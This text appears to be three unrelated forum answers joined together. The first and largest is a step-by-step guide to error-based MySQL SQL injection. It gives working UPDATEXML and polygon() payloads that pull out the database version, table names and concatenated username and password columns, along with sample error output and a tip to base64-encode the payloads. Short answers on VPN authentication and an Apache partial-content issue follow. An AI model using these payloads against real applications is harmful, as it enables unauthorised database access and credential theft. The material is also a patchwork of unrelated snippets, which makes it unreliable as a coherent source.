1' and UPDATEXML(NULL,concat(0x3a,version()),NULL)-- -

This'll throw an error with MYSQL version.

ERROR 1105 (HY000): XPATH syntax error: ':5.5.47-0ubuntu0.14.04.1'

Then, you can use subqueries to get the data.

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 0,1) ),NULL)-- -

You'll get the first table name in the error.

ERROR 1105 (HY000): XPATH syntax error: ':FIRST_TABLE_NAME'

EDIT:

To get the Nth table_name, give an OFFSET in the LIMIT clause like LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1 and so on ..

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 1,1) ),NULL)-- -

This'll show the second table name in the error.

ERROR 1105 (HY000): XPATH syntax error: ':SECOND_TABLE_NAME'

For Nth table_name:

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit N,1) ),NULL)-- -

Edit 2:

There's no need to dump data columns one by one. You can concat multiple columns like:

(SELECT concat(id, ':', username, ':', password) from users LIMIT 0,1)

Q: "can we dump or get all table names in one hit ?"

MYSQL Error has a character limit. This LIMIT varies from function to function. So far, the highest number of characters I've seen is by using the polygon() function. Here's an example query for MySQL version < 5.6.

1' and polygon((select*from(select*from(select concat((select group_concat(table_name) from information_schema.tables where table_schema=database())) as `` )``)``))-- -

Output:

Illegal non geometric '(select `` from (select '
FIRST_TABLE,SECOND_TABLE,THIRD_TABLE,FOURTH_TABLE,......
' value found during parsing

We can dump alot more data in UNION based SQL injection but in error based you cannot dump data more than the character limit of the MYSQL error.

Make sure you encode (BASE64) your payloads.


Most remote workers utilise a remote access VPN.  This will require you to authenticate using one of several methods based on pre-shared keys or more likely digital certificates. Your employer may also use third-party methods utilising Token Based Authentication.  Your public IP address can change at any time so they will not be filtering based on this.  They will assign your internal IP as part of the VPN process.


By reading the script provided by Mark Davidson, the obvious temporary solution would be to disable apache's partial functionality if not needed.

This problem seem to be an old one, which have been "solved" by disabling the partial content requests. Here are two patches for previous versions of apache.

Apache 1.3.36

Apache 2.0.58

I downloaded the current apache source for debian squeezy to check for traces of this patch.
Unfortunately, it seems like this is not implemented.

I'm not familiar with the source code for apache2, so I will not try to write a patch for it. This can be an exercise for the reader :)